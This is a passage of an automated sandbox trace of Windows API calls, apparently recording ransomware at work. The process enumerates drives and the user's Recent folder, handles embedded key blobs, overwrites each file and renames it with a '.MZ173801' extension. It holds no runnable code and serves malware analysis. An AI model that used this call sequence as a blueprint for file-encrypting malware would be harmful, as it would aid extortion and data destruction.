GetLastError () returned 0x3 [0146.666] GetFileAttributesW (lpFileName="S:\\" (normalized: "s:")) returned 0xffffffff [0146.666] GetLastError () returned 0x3 [0146.671] GetFileAttributesW (lpFileName="T:\\" (normalized: "t:")) returned 0xffffffff [0146.671] GetLastError () returned 0x3 [0146.675] GetFileAttributesW (lpFileName="U:\\" (normalized: "u:")) returned 0xffffffff [0146.739] GetLastError () returned 0x3 [0146.745] GetFileAttributesW (lpFileName="V:\\" (normalized: "v:")) returned 0xffffffff [0146.745] GetLastError () returned 0x3 [0146.752] GetFileAttributesW (lpFileName="W:\\" (normalized: "w:")) returned 0xffffffff [0146.757] GetLastError () returned 0x3 [0146.764] GetFileAttributesW (lpFileName="X:\\" (normalized: "x:")) returned 0xffffffff [0146.764] GetLastError () returned 0x3 [0146.771] GetFileAttributesW (lpFileName="Y:\\" (normalized: "y:")) returned 0xffffffff [0146.771] GetLastError () returned 0x3 [0146.778] GetFileAttributesW (lpFileName="Z:\\" (normalized: "z:")) returned 0xffffffff [0146.778] GetLastError () returned 0x3 [0146.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0146.778] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent")) returned 0x11 [0146.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0146.779] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8198d72d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8198d72d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0146.779] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8198d72d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8198d72d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.779] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d0271, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f9d0271, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f9d0271, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-a8H16g7Z8.flv.lnk", cAlternateFileName="-A8H16~1.LNK")) returned 1 [0146.779] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0146.779] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-a8h16g7z8.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d0271, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f9d0271, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f9d0271, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x411)) returned 1 [0146.779] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-a8h16g7z8.flv.lnk")) returned 0x20 [0146.779] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk", dwFileAttributes=0x80) returned 1 [0146.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252652c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.830] GetCurrentThreadId () returned 0xab4 [0146.830] GetCurrentThreadId () returned 0xab4 [0146.830] GetCurrentThreadId () returned 0xab4 [0146.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x252032c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.831] GetCurrentThreadId () returned 0xab4 [0146.831] GetCurrentThreadId () returned 0xab4 [0146.831] GetCurrentThreadId () returned 0xab4 [0146.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-a8h16g7z8.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x411 [0146.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.832] ReadFile (in: hFile=0x280, lpBuffer=0x2517ea0, nNumberOfBytesToRead=0x411, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2517ea0*, lpNumberOfBytesRead=0x19fa18*=0x411, lpOverlapped=0x0) returned 1 [0146.832] CloseHandle (hObject=0x280) returned 1 [0146.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-a8h16g7z8.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.834] WriteFile (in: hFile=0x280, lpBuffer=0x2519ed0*, nNumberOfBytesToWrite=0x411, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2519ed0*, lpNumberOfBytesWritten=0x19fa24*=0x411, lpOverlapped=0x0) returned 1 [0146.835] CloseHandle (hObject=0x280) returned 1 [0146.839] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-a8h16g7z8.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-a8H16g7Z8.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-a8h16g7z8.flv.lnk.mz173801")) returned 1 [0146.839] GetCurrentThreadId () returned 0xab4 [0146.839] GetCurrentThreadId () returned 0xab4 [0146.839] GetCurrentThreadId () returned 0xab4 [0146.839] GetCurrentThreadId () returned 0xab4 [0146.839] GetCurrentThreadId () returned 0xab4 [0146.839] GetCurrentThreadId () returned 0xab4 [0146.839] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b844037, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4b844037, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4b844037, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-FCpg55NRtj-U6_PA.lnk", cAlternateFileName="-FCPG5~1.LNK")) returned 1 [0146.840] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.840] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-fcpg55nrtj-u6_pa.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b844037, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4b844037, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4b844037, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403)) returned 1 [0146.840] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk" (normalized: 